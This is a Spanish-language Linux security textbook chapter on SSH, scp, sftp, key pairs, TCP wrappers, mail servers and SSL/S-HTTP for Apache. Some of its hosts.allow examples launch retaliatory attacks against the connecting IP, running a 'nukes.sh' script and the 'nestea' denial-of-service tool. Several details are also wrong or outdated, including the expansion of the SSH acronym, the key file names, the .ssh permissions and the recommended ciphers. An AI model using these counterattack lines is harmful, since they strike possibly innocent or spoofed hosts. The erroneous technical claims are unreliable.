COMUNICACIONES SEGURA

Con el crecimiento del Internet y la necesidad de las diferentes organizaciones de compartir data sensible a través de la red pública, el uso de canales de comunicación segura se ha convertido en una necesidad imperante. Ya sea que la comunicación sea a corta distancia por una intranet o por Internet misma, la comunicación debe ser segura, sino es una invitación a abusos potenciales. Las herramientas disponibles para llevar esto a cabo en GNU/Linux son ssh, sftp y scp. Cada uno de estos serán discutidos en las siguientes secciones:

- SSH
- SFTP
- SCP

SSH

La mayoría de las comunicaciones en el Internet se llevan a cabo sin ningún tipo de encriptación. La data u otro tipo de información, como las contraseñas, pueden ser parseadas en el tráfico de la red. Se dan situaciones en las cuales estas pueden ser interceptadas y entonces se da la situación que información como las contraseñas se pueden ver comprometidas. El SSH (Secure Socket Host) enfrenta esta problemática con la creación de canales de comunicación encriptados y seguros entre los dos puntos que desean comunicarse. La única real desventaja del SSH es que consume ancho de banda adicional por la encriptación de los datos. Es de absoluta necesidad que toda la comunicación del superusuario se llevada a cabo por ssh y no por telnet. Una vez instalado y configurado no hay diferencia, desde el punto de vista del usuario, entre telnet y el ssh, ya que el comando ssh es un sustituto seguro de los comandos rlogin, rsh, y telnet. Esto permite iniciar sesiones y ejecutar comandos en máquinas remotas:

$ ssh equipo.remoto

Debe diferenciar entre el ssh que se refiere a un comando o utilitario específico al SSH que se puede referir a un grupo de utilitarios que garantizan una comunicación segura. Recuerde que ningún método de comunicación debe ser considerado 100% seguro pero hasta el día de hoy no se han reportado métodos de crackear SSH.

El paquete de SSH contiene utilitarios de reemplazo para telnet, rlogin, rsh, ftp y rcp, los cuales transmiten información por el Internet en texto plano. Los crackers pueden explotar esta debilidad para conseguir control sobre nuestro sistema con simple monitoreo de programas como sniffit. Adicional a esta debilidad esta otra que es que ellos permiten en su sistemas de autentificación la opción de verificar los usuarios igualando sis nombres de usuarios con su dirección IP, así permitiendo a un usuario entrar sin el uso de una contraseña. Un cracker puede aprovechar esta debilidad con el método de spoofing o el uso de una IP falsa.

El paquete SSH elimina estos problemas usando encriptación y protocolos de autentificación para efectuar las mismas funciones que los programas de telnet, rlogin rsh, ftp y rcp. La data que se transmite por el Internet usando los utilitarios del SSH es encriptada, lo que lo hace casi imposible de robarnos la información. El SSH también permite métodos más alto de autentificación para verificar la autenticidad de los usuarios. El SSH usa un sistema de llaves encriptadas para verificar la validez del usuario. De este tema hablaremos más adelante.

El paquete SSH está disponible en dos versiones, SSH1 y el SSH2, que representan dos protocolos completamente diferente. Como el SSH1 ya no se mantiene, se recomienda el uso del SSH2 solamente. El SSH2 difiere del SSH1 en varias cosas. Ambos usan encriptación y métodos fuerte de autentificación, pero sólo el SSH2 incluye el sftp. SSH2 limita el número de métodos de autentificación. El SSH1 permite Kerberos, login .rhosts, contraseñas y el sistema de llaves encriptadas RSA, pero el SSH2 sólo permite el sistema de llaves y contraseñas encriptadas DSA.

SSH2 no permite el login .rlogin por sus muchas vulnerabilidades. Con los utilitarios tradicionales los crackers pueden obtener acceso (ftp, rlogin, rsh, etc) ingresando al sistema sin una contraseña, si el sistema reconoce o IP o el equipo. La información del usuario es simplemente comparada con la del archivo .rhosts para revisar la validez, así haciendo que el sistema sea vulnerable al método de spoofing.

El SSH1 previene el spoofing incluyendo la opción de combinar el login .rhosts con un sistema de llaves encriptadas como el RSA. Con la opción invocada, es requerido del usuario desincriptar la llave que el servidor le presentó e igualar la información dentro del archivo .rhosts o la del archivo /etc/hosts.equiv. El SSH2 elimina la vulnerabilidad e spoofing eliminando la opción del login .rhosts.

Existen más diferencias entre el SSH1 y el SSH2, debido a que son dos protocolos completamente diferente. La mayoría de servidores están configurados para manejar las peticiones del cliente vía cualquier de los dos protocolos. Esto se lleva a cabo configurando al daemon de SSH2 que lance un SSH1 cuando se le efectúan peticiones para este protocolo. Los paquetes también difieren en el utilitario sftp del SSH2. Además de estas diferencias también existen dos versiones del SSH, pública y privada, lo que significa que una es gratuita y la otra se vende. No hay diferencia entre ambas debido a los requerimientos básicos de la IETF (Internet Engineering Task Force). El OpenSSH soporta el SSH2.

Uso del comando ssh

Inicie una sesión en una máquina remota con ssh, que es muy parecido a utilizar el comando telnet. Por ejemplo, para iniciar una sesión en una máquina remota llamada santiago.codigolibre.org, tecleará lo siguiente desde el intérprete de comandos de la shell:

 # ssh santiago.codigolibre.org

La primera vez que ejecute ssh contra una máquina remota, verá un mensaje pidiendole si desea almacenar una llave con un host desconocido respondiendo si o no (yes ó no):

```
[root@localhost antonio]# ssh 172.31.100.252
The authenticity of host '172.31.100.252 (172.31.100.252)' can't be established.
RSA key fingerprint is c0:dc:9a:0f:fa:58:a6:c2:d4:31:fc:e2:1a:da:66:6d.
Are you sure you want to continue connecting (yes/no)?
```

Teclee yes para continuar. Esto le permitirá añadir al servidor en su lista de host conocidos como se muestra en el siguiente mensaje:

Warning: Permanently added '172.31.100.252' (DSA) to the list of known hosts.

A continuación, verá un indicador de comandos preguntándole por su contraseña desde una máquina remota. Después de introducir su contraseña, se encontrará en el indicador de comandos de la máquina remota. Si utiliza ssh sin ninguna de las opciones de la línea de comandos, el nombre de usuario con el que se ha validado como la máquina local se validará en la máquina remota. Si quiere especificar un nombre de usuario diferente, utilice el siguiente comando: **# ssh -l nombre-usuario 172.31.100.252**
También puede utilizar la sintaxis: **ssh nombre-usuario@nombre-servidor**

El comando ssh se puede utilizar para ejecutar un comando en una máquina remota sin acceder al indicador de comandos (prompt). La sintaxis es: ssh hostname comando. Por ejemplo, si quiere ejecutar el comando ls /usr/share/doc en la máquina santiago.codigolibre.org, teclee el sigueinte comando desde el indicador de comandos:

 # ssh santiago.codigolibre.org ls -l /usr/share/doc

Una vez que introduzca la contraseña correcta, visualizará el contenido de /usr/share/doc y volverá a su indicador de comandos.

Uso del comando scp

El comando scp puede ser utilizado para transferir archivos entre máquinas bajo una conexión segura y encriptada. Esto es similar a rcp, pero como mencioné segura. La sintaxis general para transferir un archivo local a un sistema remoto es: scp archivo-local nombre-usuario@nombre-host:/ruta/copiar/archivo-nombre. Para transferir el archivo local listado.txt a su cuenta de nombre antonio en el host santiago.codigolibre.org, teclee lo siguiente en el interprete de comandos:

 # scp listado,txt antonio@santiago.codigolibre.org:/home/antonio

La sintaxis general para transferir un archivo desde un host remoto a nuestro sistema local es:

scp antonio@santiago.codigolibre.org:/home/antonio/listado.txt listado.txt

Uso del comando sftp

La utilidad sftp que puede ser usada para abrir una sesión segura e interactiva de FTP. Esto es similar para ftp a excepción de que este utiliza un seguridad de conexión encriptada. La sintaxis general es:

sftp nombre-usuario@hostname.com

Una vez autentificado, podrá utilizar un conjunto de comandos similar al conjunto utilizado por el comando FTP. Consulte las páginas del manual de sftp para obtener un listado de todos estos comandos. Para consultar el manual ejecute el comando man sftp desde el indicador de comandos. La utilidad sftp está sólo disponible en la versiones 2.5.0p1 de OpenSSH y superiores.

La sintaxis completa es:

$ sftp [-P ruta-remota] [-l usuario-remoto] [-p puerto-remoto] [-C] [nombre-host]

El sftp puede ser usado en forma interactiva, donde podemos ejecutar comandos, aquí un ejemplo, luego de escribir sftp en la línea de comandos y presionar enter, somo presentados con el prompt de sftp>. Una lista de estos comandos se puede obtener escribiendo "?" y presionando ENTER:

$ sftp ?

Con el siguiente comando del del prompt interactivo podemos abrir una conexión a un ftp con el nombre de usuario miguel, así:

sftp> open -l miguel ftp.codigolibre.org

Con el siguiente comando pedimos la copia del archivo carta.txt desde el equipo remoto que nos encontramos conectados en la actualidad:

sftp> get carta.txt

Generar Pares de Claves

Si no quiere introducir su contraseña cada vez que se conecte a una máquina remota ya sea con ssh, scp, o sftp, puede generar un par de claves de autorización. Las claves deben ser generadas para cada usuario. Para generar las claves de un usuario, debe seguir los siguientes pasos como el usuario que quiere conectarse a máquinas remotas. Si completa los siguientes pasos como root, sólo root será capaz de utilizar estas claves, si desea digamos que sea miguel entonces ingrese como miguel.

Generación de un Par de Claves para la Versión 2

Use los siguientes pasos para generar un par de claves DSA para la versión 2 del protocolo SSH.

1. Para generar el par de claves DSA que funcionan con la versión 2 del protocolo, escriba el siguiente comando en el intérprete de comandos de la shell:

   # ssh-keygen -t dsa

   Acepte la localización por defecto del archivo ~/.ssh/id_rsa. Introduzca una palabra de paso diferente a la contraseña de su cuenta y confirme ésta introduciéndola de nuevo. Una advertencia: Una palabra de paso es una cadena de caracteres o palabras utilizadas para autentificar a un usuario. Las palabras de paso se diferencian de las contraseñas en que se pueden utilizar espacios o tabuladores en la palabra de paso. Las palabras de paso son generalmente más largas que las contraseñas porque ellas son habitualmente frases en lugar de una simple. La clave pública está escrita en ~/.ssh/id_dsa.pub. Es de suma importancia que no de la clave privada a nadie.
2. Cambie los permisos de su directorio .ssh mediante el uso del comando chmod 755 ~/.ssh.
3. Copie el contenido de ~/.ssh/identity.pub al archivo ~/.ssh/authorized_keys en la máquina sobre la cual

se quiere conectar. Si ~/.ssh/authorized_keys no existe, puede copiar el archivo ~/.ssh/identity.pub al archivo ~/.ssh/authorized_keys en la máquina remota.
4. Si está ejecutando GNOME, vaya a la la sección de nombre Configuración de ssh-agent con GNOME. Si no está ejecutando GNOME, vaya a la la sección de nombre Configuración de ssh-agent.

Generación de un Par de Claves RSA para la Versión 2

Siga los siguientes pasos para generar un par de claves RSA para la versión 2 del protocolo SSH. Esto es lo predeterminado para iniciar con OpenSSH 2.9.

1. Para generar un par de claves RSA para trabajar con la versión 2 del protocolo, teclee el siguiente comando desde el indicador de comandos de la shell:
   # ssh-keygen -t rsa
2. Acepte la localización por defecto del archivo ~/.ssh/id_rsa. Introduzca una palabra de paso diferente a la contraseña de su cuenta y confirme ésta introduciéndola de nuevo. La clave pública está escrita en ~/.ssh/id_rsa.pub. No distribuya la clave a nadie.
3. Cambie los permisos de su directorio .ssh utilizando el comando chmod 755 ~/.ssh.
4. Copie el contenido de ~/.ssh/id_rsa.pub a ~/.ssh/authorized_keys2 en la máquina en la que se quiere conectar. Si el archivo ~/.ssh/authorized_keys2 no existe, podrá copiar el archivo ~/.ssh/id_rsa.pub al archivo ~/.ssh/authorized_keys2 en la otra máquina.
5. Si está ejecutando GNOME, vaya a la la sección de nombre Configuración de ssh-agent con GNOME. Si no está ejecutando X Window, vaya a la la sección de nombre Configuración de ssh-agent.

WRAPPERS TCP

Los hosts se pueden conectar a los sistemas a través de diferentes servicios de la red. Pero, todos los hosts no deben ser permitidos usar todos los servicios de una red. Para ver si un host tiene acceso a un servicio, un daemon debe revisar un ACL (Access Control List) para verificar los permisos de un usuario en un sistema. Este daemon es llamado el TCP Wrapper.

En esta sección cubriremos los siguientes temas:

- ¿Qué es un TCP Wrapper?
- Configuración de los Archivos /etc/host.allow y /etc/hosts.deny
- Configuración del TCP Wrapper
- Limitaciones del TCP Wrapper
- Usos avanzados de tcp_wrappers

¿Qué es un TCP Wrapper?

El TCP Wrapper es un daemon que previene a los hosts no autorizados de accesar los servicios de un sistema. Esto se efectúa a través de la envoltura de cada servicio con un programa que revisa una ACL para ver si el host requiere el servicio está permitido a accesar el servicio.

Por ejemplo, si el daemon de TCP Wrapper es usado por ejemplo con el servidor de FTPD, entonces el TCP Wrapper revisa si un usuario externo ha sido denegado acceso cuando este hosts externo requiere de este servicio. Si el usuario es permitido entonces el FTPD se ejecuta y le da el servicio, sino entonces el acceso es denegado. Ejecutar un comando o shell script también es permitido como opción del TCP Wrapper.

El primer requisito es tener instalado y configurado el superservidor Xinetd, esto es muy fácil y solo se trata de instalar el demonio y asegurarse de que se arranca durante el inicio de la máquina. Para asegurarnos de que lo tenemos instalado y corriendo ejecutaremos el comando: services xinetd status.

Si todo sale bien entonces nos concentramos en configurar los servicios que este ejecutará, los archivos de las configuraciones de cada servicio que este supervisa están en la carpeta /etc/xinetd.d, en esta cada servicio pone su carpeta, a continuación una salida de ls a esta carpeta:

```
[root@localhost antonio]# ls -l /etc/xinetd.d/
-rw-r--r-- 1 root root 1145 Jun 13  2010 chargen-dgram
-rw-r--r-- 1 root root 1147 Jun 13  2010 chargen-stream
-rw-r--r-- 1 root root  521 Jun 13  2010 cvs
-rw-r--r-- 1 root root  332 Oct 15  2007 rsync
-rw-r--r-- 1 root root  515 Jun 13  2010 ssh
-rw-r--r-- 1 root root 1200 Jun 13  2010 tcpmux-server
-rw-r--r-- 1 root root  586 Feb  2 15:27 tftp
```

Cada línea se refiere a un servicio o configuración interna del Xinetd que podemos manipular. Sin tcp_wrappers dentro de cada archivo de configuración para ejecutar el demonio en particular dirá:

server = /usr/sbin/in.telnetd

Esto significa que cada llamada al puerto telnet será gestionada por el demonio in.telnetd

Ahora instalamos el paquete tcp_wrappers, una vez instalado lo único necesario es cambiar la línea anterior por algo como esto:

server = /usr/sbin/tcpd in.telnetd

La diferencia es que ahora, lo que se ejecuta al recibir un telnet es el demonio tcpd, al que se le pasa como parámetro el demonio que debe controlar, en este caso in.telnetd. Para más información: man tcpd, man hosts_access, man hosts.allow y man hosts.deny.

Configuración de los Archivos /etc/host.allow y /etc/hosts.deny

Una vez los servicios han sido envuelto o wrapped, es importante configurar los hosts que serán permitidos usar cada servicio. Aquí le presentamos parte de los archivos /etc/host.allow y el /etc/hosts.deny para demostrar una configuración de ejemplo:

- **/etc/hosts.allow**

```
# Este archivo describe los hosts que Si están permitidos usar el servicio local de XINET,
# por decisión del servidor '/usr/sbin/tcpd'
#
telnetd:.codigolibre.org EXCEPT miguel.codigolibre.org
ftpd: ivelis.codigolibre.org
ALL: LOCAL
```

- **/etc/hosts.deny**

```
# Este archivo describe los hosts que NO están permitidos usar el servicio local de INET,
# por decisión del servidor '/usr/sbin/tcpd'
#
ftpd: ALL: /bin/mail -s %H root &
ALL: ALL
```

Nota: Las palabras como ALL, LOCAL y EXCEPT son parte del lenguaje especial de los archivos de configuración del TCP Wrapper.

Todas las líneas que empiezan con "#" son comentarios e ignorados en el momento de interpretación. Las otras líneas son para especificar acceso. En el archivo hosts.allow las últimas tres líneas son para definir acceso de esta manera; para el servicio telnetd, todas las computadoras en la red .codigolibre.org son permitidas excepto por la de nombre miguel.codigolibre.org. Fíjese que el (.)que precede el dominio de codigolibre.org,

indica que todas las computadoras en una red en particular son permitidas el acceso. Para el servicio de telnetd, solamente el computador ivelis.codigolibre.org está permitida el acceso al servicio ftp. El comodín ALL se refiere a todos los servicios y el comodín LOCAL que todas las computadoras locales son permitidas todos los servicios.

El daemon de TCP Wrapper revisa primero el archivo /etc/hosts.allow. Si allí no se encuentra una entrada para un computador en específico o un servicio que el computador desea usar, entonces se revisa el archivos /etc/hosts.deny.

El archivo /etc/hosts.deny tiene el mismo formato y sus palabras reservadas son las mismas. La única entrada en este ejemplo es ALL, este campo indica que todos los servicios serán denegados a todas las computadoras que no estén ya autorizadas en el /etc/hosts.allow. Este método provee buena seguridad con un menor chance de que algún computador desconocido adquiera acceso a nuestros servicios. La línea de ftpd:

ALL: /bin/mail -s %H root & provee para que un programa sea ejecutado en caso de que un computador quisiese adquirir acceso sin permiso al servicio de ftp. El programa mail enviará un mensaje al usuario root con el nombre del host que intento accesar el sistema con el servicio de ftp sin autorización.

Una vez los tres archivos de un servidor ejecutando vía xinetd (/etc/xinetd.d/servidor, /etc/hosts.allow y /etc/hosts.deny) estén configurados el TCP Wrapper debe estar completamente funcional en su sistema y deberá proveer buenos niveles de seguridad para su sistema.

Configuración del TCP Wrapper

Se basa únicamente en dos archivos, /etc/hosts.allow y /etc/hosts.deny, aunke como veremos más adelante solo hace falta uno de ellos. Por defecto, a menos que se indique lo contrario, todos los servicios y/o direcciones definidas en el hosts.allow son admitidas mientras que las definidas en el hosts.deny son rechazadas.

La sintaxis de estos archivos es muy simple:

servicio: host: acción

servicio: Es la primera palabra que encontramos en cada línea de los archivos en xinetd.d, por ejemplo son servicios el in.telnetd, in.fingerd ... Si queremos referirnos a todos los puertos bastará con poner ALL, también podemos poner una lista de servicios separados por espacios en blanco.

host: Es una o más direcciones de red separadas por espacios en blanco, esta dirección se contrasta con la del sistema que nos hace la petición de conexión. La dirección puede ser del tipo IP numérica, IP/mascara, rango de IP (ejemplo 192.168.), dominio (como por ejemplo codigolibre.org), grupo de dominios (como por ejemplo .org o codigolibre.) Ademas pueden usarse otras palabras como ALL (para referirse a todos los host), LOCAL (los que no tienes un . en su nombre) KNOWN o UNKNOWN (de los que se tiene información o no) y PARANOID (el nombre que te ofrecen no concuerda con el que tcp_wrappers espera).

acción: Puede tener 4 valores, accept (acepta la conexión si se cumplen las condiciones impuestas por servicio/host), deny (rechaza la conexión, spawn (acepta la conexión y realiza el comando bash que se le pasa como parámetro) y twist (rechaza la conexión y realiza el comando bash).

A los comandos se les pueden pasar parámetros relacionados con la conexión, estos son:

- %a, %c, %h y %n: nombre de la máquina que intenta acceder.
- %d: demonio que controla el puerto por el que accede.
- %p: PID del proceso que controla la conexión.

Con esto ya podemos hacer nuestra primera configuración supersegura:

```
#/etc/hosts.allow
ALL: ALL: deny
```

El primer archivo que se mira es hosts.allow por lo que en este caso no importa lo que ponga en hosts.deny, porque todas las conexiones se rechazan de todas formas.

Ejemplos:

Como mejor se aprende es viendo algunos ejemplos. De más sencillos (y por lo tanto cerrados) a más complicados (más útiles, divertidos y peligrosos)

Completamente cerrado:

```
#/etc/hosts.allow
ALL: ALL: deny
```

Cerrado para todos excepto para las conexiones locales:

```
#/etc/hosts.allow
ALL: 127.0.0.1
ALL: ALL: deny
```

Conexión local total, red local acceso por telnet y ftp, resto cerrado:

```
#/etc/hosts.allow
ALL: 127.0.0.1
in.telnetd in.ftpd: LOCAL
ALL: ALL: deny
```

Sistema cerrado con informe de accesos:

```
#/etc/hosts.allow
ALL: ALL: twist ( /usr/bin/echo -e "Intruso %a en puerto %d" )
```

Sistema abierto a la red local y cerrado al exterior con acciones diferentes en función del tipo de acceso:

```
#/etc/hosts.allow
ALL: LOCAL: spawn ( echo -e "Acceso autorizado de %a por %d" ) &
ALL: PARANOID: twist ( echo -e \
  "ATACANTE %a por puerto %d, lanzando nukes" ; \
  /usr/local/bin/nukes.sh %a ) &
ALL: UNKNOWN: twist ( echo -e "Posible nuke o scan de %a en %d" ) &
ALL: ALL: twist ( /bin/echo -e "INTRUSO! %a, usando puerto %d" ) &
```

Limitaciones del TCP Wrapper

Este sistema aunque es muy fácil e intuitivo tiene algunas limitaciones, algunas sencillas de solucionar otras no tanto:

- Solo cubre servicios definidos en los archivos de xinetd.d: por ejemplo no informa de ningún intento de acceso por el puerto del 80, NetBUS ... ni otros servicios como impresoras o el X que no usan Xinetd para configurar sus conexiones.
- No detecta algunos tipos de conexión: por ejemplo los pings, algunos stealth scan, la solución es usar algún sistema para escuchar más especializado, como tcpdump.
- Las líneas de los archivos hosts.allow y hosts.deny no deben contener saltos de línea: o usas un editor que no rompa las líneas largas o que coloca una barra invertida (\) antes de cada salto de línea.

Usos avanzados de tcp_wrappers

Detectando spoofing: los intentos de spoofing son detectados por tcp_wrappers y los clasifica dentro de la categoría de PARANOID, por lo que esta línea en hosts.allow puede ayudarnos bastante a detectarlo:

ALL: PARANOID: twist (echo -e "Spoofing en puerto %d \nLa IP %a es falsa")

Mantener informes de red: redirigir toda la información de salida a un archivo o una consola, nos ayudará a tener informes exhaustivos de los accesos que recibimos, los ataques, los accesos, para hacer esto basta con

poner líneas así:

ALL: ALL: spawn (echo -e "IP %a en %d" > /var/log/archivo)

Realizar multiples comandos: a veces es necesario hacer más de una cosa frente un acceso, la sintaxis es igual que si lo hicieramos desde bash:

ALL: ALL: spawn (echo -e "IP %a en %d" ; wavplay alarma.wav ; nestea %a)

Enviando mensajes al sistema remoto: se puede enviar un mensajepredefinido (banner) al sistema remoto, en este mensaje podemos explicar porque no le damos acceso, que tipo de máquina tnemos, que puede hacer o no, para que el sistema remoto vea el banner utilizaremos la línea:

ALL: ALL: banners /directorio_de_banners

Nota: el banner debe llamarse como el demonio que se lanza, es decir si queremos que se vea un mensaje al entrar por telnet, el banner debera llamrse in.telnetd. Ejemplo: este banner (al que llamaremos in.telnetd) se ve al hacer acceso por telnet.

Hola %a, bienvenido a mi sistema. Tu IP esta siendo guardada para mayor seguridad.
Más información en /usr/doc/tcp_wrappers-x.x

Ejercicio 6-2: Configurar Xinetd

En este ejercicio configuraremos el super servidor de inetd para agregar un servicio. Las soluciones a este ejercicio se encuentran en el Apéndice A.

1.- Cree un archivo /etc/local/sbin/fingerd, que contenga las siguientes líneas:
#!/bin/sh
echo “La Información del Finger no esta Disponible en este Sistema”
2.- Convierta el archivo /etc/local/sbin/fingerd en ejecutable.
3.- Edite el archivo xinetd.d para comentar cualquier servicio de finger. Agregue la siguiente línea:
finger stream tcp nowait nobody /usr/local/sbin/fingerd.
4.- Obligue el daemon de xinetd a leer su archivo de configuración.
5.- Pruebe el servicio de finger en el sistema.
6.- Deshabilite el servicio de finger en el archivo dinetd.d.
7.- Obligue el daemon de inetd a leer su archivo de configuración.
8.- Pruebe nuevamente el servicio de finger en el sistema.

ASEGURAR EMAIL

PENDIENTE POSTFIX

Algunos otros MTA's disponibles para GNU/Linux:

• Postfix: Poco malo se puede decir de él; diseñado para ser seguro(modular), eficiente, fácil de configurar y sendmail-compatible. No obstante, con menos "features" que sendmail.

• Qmail: Casi todo lo que se aplica a Postfix se puede decir de Qmail. Muy seguro, muy eficiente, muy modular y con menos "features"(algunas están disponibles mediante parches) y poco o nada sendmail-compatible. Algunas pegas pueden ser la licencia y que el desarrollo parece parado.

• Exim: Al igual que sendmail, es un software monolítico, lo que lo hace no tan seguro y rápido como los dos anteriores. Por contra tiene un mayor número de características que aquellos. Es más sencillo de configurar que Sendmail y bastante compatible con él.

• Zmailer: En realidad éste es un desconocido, y lo meto aquí porque recuerdo haber leído por ahí que era una buena opción. Buen rendimiento y madurez, y cierta dificultad de administración... poco es lo que puedo decir. Lo meto más por curiosidad personal, que porque sea una alternativa popular.

ASEGURAR HTTPD (APACHE)

El número de servicios y aplicaciones con toneladas de características ofrecidas en la Web hoy día son inmensa y han contribuido inmensamente al crecimiento y la popularidad del Internet. Pero, como siempre, todas estas características también han ayudado a presentar muchas posibilidades para que nuestros sistemas sean comprometidos desde el punto de vista de seguridad. Es de mucha importancia que los administradores entiendan estas posibilidades de peligro que se le presentan para comprometer la seguridad de los sistemas que ellos reguardan y así tomen acción para prevenir que sean blanco de estos posibles ataques.

Los siguientes temas serán discutidos en esta sección:

- Encriptación de Web Server
- SSL (Secure Socket Layer)
- SHTTP
- Asegurar el Apache
- chroot en un Ambiente Web
- Autentificación MD5
- El Servidor Web

Existen sitios Web de administración con información confidencial sobre datos de personal, nóminas, etc. Resulta evidente que no interesa que esa información sea accesible a toda la Red, sino sólo a un pequeño número autorizado de usuarios. Por lo tanto, no vale con restringir el acceso mediante claves de acceso o procedimientos similares, además la información que viaja hacia esos usuarios debe ir cifrada, para evitar escuchas.

En el otro extremo, a menudo enviamos a un servidor información confidencial sobre nuestra persona, por ejemplo en los formularios CGI. Nos interesa que el servidor conozca los datos, pero no el resto de la Red, especialmente si estamos realizando una transacción comercial electrónica y revelamos nuestro número de tarjeta de crédito o simplemente nuestra dirección postal.

En estos dos ejemplos se pone de manifiesto la necesidad de asegurar mediante algún mecanismo la intimidad y la integridad en las sesiones con el servidor Web. A decir verdad, resulta imposible garantizar al 100% la seguridad de un sitio, pero cuanto más seguros sean nuestra red y servidores, menos probable será que un cracker intente atacarnos.

Secure Socket Layer (SSL)

El protocolo SSL es un sistema diseñado y propuesto por Netscape Communications Corporation. Se encuentra en la pila OSI entre los niveles de TCP/IP y de los protocolos HTTP, FTP, SMTP, etc. Proporciona sus servicios de seguridad cifrando los datos intercambiados entre el servidor y el cliente con un algoritmo de cifrado simétrico, típicamente el RC4 o IDEA, y cifrando la clave de sesión de RC4 o IDEA mediante un algoritmo de cifrado de clave pública, típicamente el RSA. La clave de sesión es la que se utiliza para cifrar los datos que vienen del y van al servidor seguro. Se genera una clave de sesión distinta para cada transacción, lo cual permite que aunque sea reventada por un atacante en una transacción dada, no sirva para descifrar futuras transacciones. MD5 se usa como algoritmo de hash.

Proporciona cifrado de datos, autenticación de servidores, integridad de mensajes y, opcionalmente, autenticación de cliente para conexiones TCP/IP. Cuando el cliente pide al servidor seguro una comunicación segura, el servidor abre un puerto cifrado, gestionado por un software llamado Protocolo SSL Record, situado encima de TCP. Será el software de alto nivel, Protocolo SSL Handshake, quien utilice el Protocolo SSL Record

y el puerto abierto para comunicarse de forma segura con el cliente.

El Protocolo SSL Handshake

Durante el protocolo SSL Handshake, el cliente y el servidor intercambian una serie de mensajes para negociar las mejoras de seguridad. Este protocolo sigue las siguientes seis fases (de manera muy resumida):

- La fase Hola, usada para ponerse de acuerdo sobre el conjunto de algoritmos para mantener la intimidad y para la autenticación.
- La fase de intercambio de claves, en la que intercambia información sobre las claves, de modo que al final ambas partes comparten una clave maestra.
- La fase de producción de clave de sesión, que será la usada para cifrar los datos intercambiados.
- La fase de verificación del servidor, presente sólo cuando se usa RSA como algoritmo de intercambio de claves, y sirve para que el cliente autentique al servidor.
- La fase de autenticación del cliente, en la que el servidor solicita al cliente un certificado X.509 (si es necesaria la autenticación de cliente).
- Por último, la fase de fin, que indica que ya se puede comenzar la sesión segura.

El Protocolo SSL Record

El Protocolo SSL Record especifica la forma de encapsular los datos transmitidos y recibidos. La porción de datos del protocolo tiene tres componentes:

- MAC-DATA, el código de autenticación del mensaje.
- ACTUAL-DATA, los datos de aplicación a transmitir.
- PADDING-DATA, los datos requeridos para rellenar el mensaje cuando se usa cifrado en bloque.

Secure HyperText Transfer Protocol (S-HTTP)

El protocolo S-HTTP fue desarrollado por Enterprise Integration Tecnologías (EIT). Al igual que SSL, permite tanto el cifrado como la autenticación digital. Sin embargo, a diferencia de SSL, SHTTP es un protocolo de nivel de aplicación, es decir, que extiende el protocolo HTTP por debajo.

La propuesta de S-HTTP sugiere una nueva extensión para los documentos, .shttp, y el siguiente nuevo protocolo: **Secure * Secure-HTTP/1.1**

Usando GET, un cliente solicita un documento, le dice al servidor qué tipo de cifrado puede manejar y le dice también dónde puede encontrar su clave pública. Si el usuario con esa clave está autorizado a acceder al documento, el servidor responde cifrando el documento y enviándoselo al cliente, que usará su clave secreta para descifrarlo y mostrárselo al usuario.

Las negociaciones entre el cliente y el servidor tienen lugar intercambiando datos formateados. Estos datos incluyen una variedad de opciones de seguridad y algoritmos a utilizar. Las líneas usadas en las cabeceras incluyen:

- Dominios privados S-HTTP, que especifica la clase de algoritmos de cifrado así como la forma de encapsulamiento de los datos (PEM o PKCS-7).
- Tipos de certificado S-HTTP, que especifica el formato de certificado aceptable, actualmente X.509.
- Algoritmos de intercambio de clave S-HTTP, que indica los algoritmos que se usarán para el intercambio de claves (RSA, fuera de bando, dentro de banda y Krb).
- Algoritmos de firmas S-HTTP, que especifica el algoritmo para la firma digital (RSA o NIST-DSS).
- Algoritmos de resumen de mensaje S-HTTP, que identifica el algoritmo para proporcionar la integridad

de los datos usando funciones de hash (RSA-MD2, RSA-MD5 o NIST-SHS).

- Algoritmos de contenido simétrico S-HTTP, que especifica el algoritmo simétrico de cifrado en bloque usado para cifrar los datos:
  - DES-CBC
  - DES-EDE-CBC
  - DES-EDE3-CBC
  - DESX-CBC
  - IDEA-CFB
  - RC2-CBC
  - RC4
  - CDMF
- Algoritmos de cabecera simétrica de S-HTTP, que proporciona una lista del cifrado de clave simétrica utilizada para cifrar las cabeceras.
  - DES-ECB
  - DES-EDE-ECB
  - DES-EDE3-ECB
  - DESX-ECB
  - IDEA-ECB
  - RC2-ECB
  - CDMF-ECB
- Mejoras de la intimidad de S-HTTP, que especifica las mejoras en la intimidad asociadas con los mensajes, como firmar, cifrar o autenticar.

Uno de los métodos de cifrado disponible en S-HTTP es el popular PGP.

SSL vs. S-HTTP

S-HTTP y SSL utilizan aproximaciones distintas con el fin de proporcionar servicios de seguridad a los usuarios de la Red. SSL ejecuta un protocolo de negociación para establecer una conexión segura a nivel de socket (nombre de máquina más puerto). Los servicios de seguridad de SSL son transparentes al usuario y a la aplicación.

Por su parte, los protocolos S-HTTP están integrados con HTTP. Aquí, los servicios de seguridad se negocian a través de las cabeceras y atributos de la página. Por lo tanto, los servicios de S-HTTP están disponibles sólo para las conexiones de HTTP.

Dado que SSL se integra en la capa de sockets, también permite ser usado por otros protocolos además del HTTP, mientras que el S-HTTP está concebido para ser usado exclusivamente en comunicaciones HTTP.

Asegurar el Apache

Asegurar el Apache no debe ser en realidad una tarea demasiada difícil. Por defecto Apache se ejecuta como el usuario ‘nobody’, lo cual le da muy poco acceso al sistema, y por lo general el equipo Apache ha hecho un buen trabajo evitando desbordamientos de pila/etc. En general, la mayoría de los servidores WWW simplemente toman datos del sistema y los envían fuera, los mayores peligros no vienen del Apache sino de programas descuidados que se ejecutan vía Apache (CGI’s, server side includes, etc.).

chroot en un Ambiente Web

Si se quiere ser paranoico, sugeriría ejecutar Apache en un entorno de chroot. Básicamente chroot redefine el universo para un programa, atrapandolo ahi dentro en su propio sistema de archivos. Lo que en efecto hace es que redefine el directorio raíz o "/" para un programa o o servicio. Dicho simplemente todo lo que esté fuera del directorio en el que usamos chroot no existe para el programa o el shell.

Esto es útil porque si alguien entra sin autorización en nuestro computador, no será capaz de ver todos los archivos de nuestro sistema. Pero esto no quiere decir que Apache será mas seguro, sino que si alguien logra violarlo estará contenido dentro del chroot que creamos. Que el cracker no pueda ser capaz de ver nuestros archivos lo limita a los comandos que puede le hagamos disponible para utilizar y tampoco le permite explotar otros archivos y carpetas de nuestro sistema. El único inconveniente, además de que es mas difícil de instalar, es que no impide mirar en las conexiones de red y en otras cosas. Por tanto, tendríamos que hacer algunas cosas más que no trataremos a fondo ya que serían mejor conocidas en libros especializados de Apache y su administración. Otras cosas adicionales, además del chroot que podemos poner en practica para asegurar Apache son:

- Asegurar los puertos de red.
